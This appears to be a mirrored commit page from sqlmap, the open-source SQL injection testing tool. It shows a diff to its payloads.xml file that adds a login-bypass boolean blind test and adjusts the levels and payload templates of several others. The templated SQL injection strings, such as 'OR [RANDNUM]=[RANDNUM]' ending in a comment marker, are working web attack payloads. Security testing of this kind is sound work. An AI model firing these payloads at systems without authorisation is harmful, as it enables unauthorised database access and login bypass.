sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2024-11-23 01:56:36 +03:00
Code Issues Packages Projects Releases Wiki Activity

Minor improvements to OR based injections

Browse Source
This commit is contained in:
Bernardo Damele 2010-12-05 10:55:19 +00:00
parent 2612615978
commit 8066610217
1 changed files with 24 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

32
xml/payloads.xml
View File

@ -411,9 +411,25 @@ Formats:
</test>
<test>
<title>OR boolean-based blind - WHERE clause (login)</title>
<stype>1</stype>
<level>2</level>
<risk>3</risk>
<clause>1</clause>
<where>1</where>
<request>
<payload>OR [RANDNUM]=[RANDNUM]</payload>
<comment>#</comment>
</request>
<response>
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>
<test>
<title>OR boolean-based blind - WHERE clause</title>
<stype>1</stype>
<level>3</level>
<level>4</level>
<risk>3</risk>
<clause>1</clause>
<where>2</where>
@ -428,16 +444,16 @@ Formats:
<test>
<title>OR boolean-based blind - WHERE clause</title>
<stype>1</stype>
<level>3</level>
<level>4</level>
<risk>3</risk>
<clause>1</clause>
<where>1</where>
<where>2</where>
<request>
<payload>OR [RANDNUM]=[RANDNUM]</payload>
<payload>OR [RANDNUM]=[RANDNUM1]</payload>
<comment>#</comment>
</request>
<response>
<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
<comparison>OR [RANDNUM]=[RANDNUM]</comparison>
</response>
<details>
<dbms>MySQL</dbms>
@ -450,13 +466,13 @@ Formats:
<level>3</level>
<risk>3</risk>
<clause>1</clause>
<where>1</where>
<where>2</where>
<request>
<payload>OR [RANDNUM]=[RANDNUM]</payload>
<payload>OR [RANDNUM]=[RANDNUM1]</payload>
<comment>--</comment>
</request>
<response>
<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
<comparison>OR [RANDNUM]=[RANDNUM]</comparison>
</response>
</test>
<!-- End of boolean-based blind tests - WHERE clause -->